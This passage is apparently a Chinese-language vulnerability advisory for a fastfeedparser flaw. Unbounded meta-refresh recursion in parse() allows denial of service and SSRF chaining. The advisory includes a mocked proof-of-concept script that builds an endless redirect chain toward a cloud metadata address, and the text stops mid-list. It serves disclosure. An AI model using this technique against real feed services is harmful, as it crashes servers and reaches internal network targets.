CVE-2026-39376(通过 meta-refresh 链实现无限重定向循环 DoS)
当 parse() 获取一个返回包含 <meta http-equiv="refresh"> 标签的 HTML 页面的 URL 时,它会使用重定向 URL 递归调用自身——没有深度限制、没有已访问 URL 去重、也没有重定向次数上限。攻击者控制的服务器返回无限链的 HTML meta-refresh 响应,会导致无界递归,耗尽 Python 调用栈并使进程崩溃。此漏洞还可以与配套的 SSRF 问题链式利用,在绕过初始 URL 检查后访问内部网络目标。
parse() 在 XML 解析失败时捕获 ValueError,通过 _extract_meta_refresh_url() 从 HTML 响应中提取 meta-refresh URL,并使用该 URL 进行尾调用。该递归调用是无条件的——没有最大重定向深度、没有已访问 URL 集合、也没有针对自引用或循环重定向的防护。
fastfeedparser/main.py — parse()(递归汇点):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← 无条件递归,无深度限制
_extract_meta_refresh_url() 使用 urljoin(base_url, match.group(1)),因此 content= 属性中的相对 URL、协议相对 URL(//host/path)和绝对 URL 都会被跟随。
无需在线服务器。以下代码通过 monkeypatch 将 _fetch_url_content 替换为返回无限 HTML meta-refresh 链,并确认无界递归:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
每次递归调用都会执行一次真实的 HTTP 请求(30 秒超时)、HTML 解析以及 Python 栈帧分配。在 Python 默认递归限制为 1000 且每次请求超时为 30 秒的情况下,单个攻击者请求可使服务器线程繁忙长达约 8 小时,之后才会抛出 RecursionError。
SSRF 链式变体: 第一个响应可以是合法的 HTML,重定向到内部地址(http://192.168.1.1/),从而使重定向循环同时充当 SSRF 绕过手段,访问那些原本会被仅应用于初始 URL 的应用层 URL 验证所阻止的目标。
这是一个拒绝服务漏洞,并具有次要的 SSRF 链式利用影响。任何接受用户提供的 feed URL 并调用 fastfeedparser.parse() 的应用程序都会受到影响——包括 RSS 聚合器、feed 预览服务以及"通过 URL 订阅"功能。无需身份验证的攻击者可以:
RecursionError 使工作进程崩溃